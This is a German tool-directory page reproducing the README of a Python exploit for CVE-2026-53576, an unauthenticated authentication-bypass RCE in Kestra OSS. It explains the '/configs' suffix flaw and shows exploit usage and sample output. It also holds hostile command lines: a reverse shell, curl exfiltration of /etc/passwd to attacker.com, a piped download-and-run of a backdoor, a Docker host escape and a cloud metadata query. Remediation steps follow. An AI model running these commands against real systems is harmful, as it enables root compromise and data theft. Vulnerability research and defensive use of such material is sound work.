Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-53576 — Kestra Unauthenticated RCE Exploit (CVE-2026-53576) | Kitploit
Tools/GitHubGitHub/tamatahyt/cve-2026-53576
Authentifizierung & AutorisierungPrivilege EscalationExploitationWebanwendungs-ExploitationDatenexfiltrationPost-ExploitationPenetrationstestsRed TeamingPayload-EntwicklungContainer-Ausbruch
GitHub
25vor 2 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
tamatahyt/cve-2026-53576

CVE-2026-53576

Kestra Unauthenticated RCE Exploit (CVE-2026-53576)

Repository anzeigen

Kestra-Exploit für nicht authentifizierte RCE (CVE-2026-53576)

Python License Security Kestra

Kritische Umgehung der Authentifizierung führt zu nicht authentifizierter Remote-Codeausführung

Exploit • Schwachstellendetails • Auswirkungen • Behebung


⚠️ HAFTUNGSAUSSCHLUSS

Dieses Tool dient ausschließlich Bildungs- und autorisierten Sicherheitstestzwecken.

  • NICHT gegen Systeme verwenden, die dir nicht gehören oder für die du keine ausdrückliche schriftliche Genehmigung zum Testen hast.
  • NICHT für illegale Aktivitäten verwenden.
  • Der Autor ist NICHT verantwortlich für jeglichen Missbrauch dieses Tools.
  • Verwendung auf EIGENES RISIKO.

📋 Inhaltsverzeichnis

  • Überblick
  • Schwachstellendetails
  • Exploit-Verwendung
  • Installation
  • Beispiele
  • Auswirkungen
  • Behebung
  • Zeitplan
  • Referenzen
  • Lizenz

🔍 Überblick

CVE-2026-53576 ist eine kritische Schwachstelle in Kestra OSS bis Version v1.3.20, die nicht authentifizierte Remote-Codeausführung durch eine Umgehung des Authentifizierungsfilters ermöglicht.

Eckdaten

AttributWert
CVE-IDCVE-2026-53576
SchweregradKritisch (9.8 CVSS)
SchwachstellentypAuthentifizierungs-Umgehung + RCE
Betroffenes ProduktKestra OSS
Betroffene Versionen≤ v1.3.20
AngriffsvektorNetzwerk
Erforderliche AuthentifizierungKeine
BenutzerinteraktionKeine

🚨 Schwachstellendetails

Grundursache

Der Authentifizierungsfilter in Kestra enthält einen kritischen Logikfehler:

// Vulnerable code in AuthenticationFilter.java:53
boolean isConfigEndpoint = request.getPath().endsWith("/configs")

Dieser prüft, ob irgendeine API-Anfrage mit /configs endet, anstatt die exakte Route abzugleichen. Dadurch können Angreifer die Authentifizierung umgehen, indem sie /configs an jeden Endpunkt anhängen.

Schritte zur Ausnutzung

  1. Bösartigen Flow erstellen → POST /api/v1/main/flows/configs (umgeht Authentifizierung)
  2. Ausführung auslösen → POST /api/v1/main/executions/configs/configs (umgeht Authentifizierung)
  3. Befehle laufen als root → Vollständige Systemkompromittierung

Verwundbare Endpunkte

# Any path ending in /configs bypasses authentication
/api/v1/main/flows/configs          # Create flows
/api/v1/main/executions/configs/configs  # Execute flows
/api/v1/{tenant}/flows/configs      # Any tenant
/api/v1/{tenant}/executions/configs/configs  # Any tenant

💻 Exploit-Verwendung

Grundlegende Verwendung

python3 kestra_exploit.py <target_ip>

Erweiterte Verwendung

# Custom port
python3 kestra_exploit.py 192.168.1.100 -p 8080

# HTTPS
python3 kestra_exploit.py 192.168.1.100 --https

# Custom command
python3 kestra_exploit.py 192.168.1.100 -c "whoami && hostname"

# Check Docker socket access
python3 kestra_exploit.py 192.168.1.100 --docker-check

# Clean up after exploitation
python3 kestra_exploit.py 192.168.1.100 --cleanup

# Full attack with all options
python3 kestra_exploit.py 192.168.1.100 -p 8080 --docker-check --cleanup -c "id > /tmp/proof.txt"

Befehlsoptionen

OptionBeschreibung
targetZiel-IP-Adresse oder Hostname (erforderlich)
-p, --portPort (Standard: 8080)
--httpsHTTPS statt HTTP verwenden
-c, --commandBenutzerdefinierter Befehl zur Ausführung
--docker-checkDocker-Socket-Zugriff prüfen
--cleanupFlow nach der Ausnutzung löschen
--delayVerzögerung zwischen Anfragen (Standard: 2s)

📦 Installation

Voraussetzungen

pip install requests

Repository klonen

git clone https://github.com/yourusername/CVE-2026-53576
cd CVE-2026-53576

Installation überprüfen

python3 kestra_exploit.py --help

🎯 Beispiele

Beispiel 1: Grundlegende Ausnutzung

python3 kestra_exploit.py 192.168.1.100

Ausgabe:

============================================================
Kestra Unauthenticated RCE Exploit
Security Research Tool - Authorized Use Only!
============================================================
[*] Target: 192.168.1.100:8080
[*] Protocol: http
============================================================

[Step 1] Creating malicious flow...
[*] Creating malicious flow at http://192.168.1.100:8080/api/v1/main/flows/configs
[*] Command: id > /tmp/proof.txt; cat /etc/shadow | head -1 >> /tmp/proof.txt
[+] Flow created successfully! (Status: 200)
[+] Flow revision: 26

[Step 2] Triggering execution...
[*] Triggering execution at http://192.168.1.100:8080/api/v1/main/executions/configs/configs
[+] Execution triggered successfully!
[+] Execution ID: 4nxNTHPk2WInfrnxQa6KF2
[+] Status: CREATED

[Step 3] Checking execution status...
[+] Execution status: SUCCESS
[*] Final status: SUCCESS

[+] Exploitation complete!
[*] To verify the attack succeeded, check the target system for:
    - /tmp/proof.txt containing command output
    - Kestra UI execution logs
    - Web UI: http://192.168.1.100:8080/ui/

Beispiel 2: Reverse Shell

python3 kestra_exploit.py 192.168.1.100 -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"

Beispiel 3: Datenexfiltration

python3 kestra_exploit.py 192.168.1.100 -c "curl -X POST http://attacker.com/exfil -d @/etc/passwd"

Beispiel 4: Docker-Escape-Überprüfung

python3 kestra_exploit.py 192.168.1.100 --docker-check --cleanup

💥 Auswirkungen

Direkte Auswirkungen

KategorieSchweregradBeschreibung
Vertraulichkeit⚠️ KritischBeliebige Dateien lesen (Passwörter, Geheimnisse, Konfigurationen)
Integrität⚠️ KritischFlows und Daten erstellen/ändern/löschen
Verfügbarkeit⚠️ HochSystem herunterfahren, Ressourcenerschöpfung
Authentifizierung⚠️ KritischVollständige Umgehung der Basis-Authentifizierung
Privilegieneskalation⚠️ KritischBefehle laufen als root (uid=0)
Container-Escape⚠️ KritischHost-Kompromittierung über Docker-Socket

Angriffsfähigkeiten

Ein nicht authentifizierter Angreifer kann:

  1. Beliebige Befehle als root ausführen:

    # Read secrets
    cat /app/conf/application.yml
    
    # Reverse shell
    bash -i >& /dev/tcp/attacker.com/4444 0>&1
    
    # Install malware
    curl http://attacker.com/backdoor.sh | bash
    
  2. Zum Hostsystem wechseln (falls Docker-Socket eingebunden):

    docker run -v /:/host --privileged alpine chroot /host
    
  3. Auf Cloud-Metadaten zugreifen (falls bei Cloud-Anbieter):

    curl http://169.254.169.254/latest/meta-data/
    

🛡️ Behebung

Sofortmaßnahmen

  1. Verwundbare Instanzen herunterfahren:

    sudo systemctl stop kestra
    
  2. Öffentlichen Zugriff blockieren:

    iptables -A INPUT -p tcp --dport 8080 -j DROP
    
  3. Firewall-Regeln anwenden:

    • Auf interne Netzwerke beschränken
    • VPN für administrative Zugriffe verwenden

Dauerhafte Lösung

  1. Kestra auf die neueste gepatchte Version aktualisieren:
    • Überwachen: https://github.com/kestra-io/kestra
    • Prüfen: https://github.com/kestra-io/kestra/security/advisories/GHSA-2q47-568g-9h4f
Tool herunterladen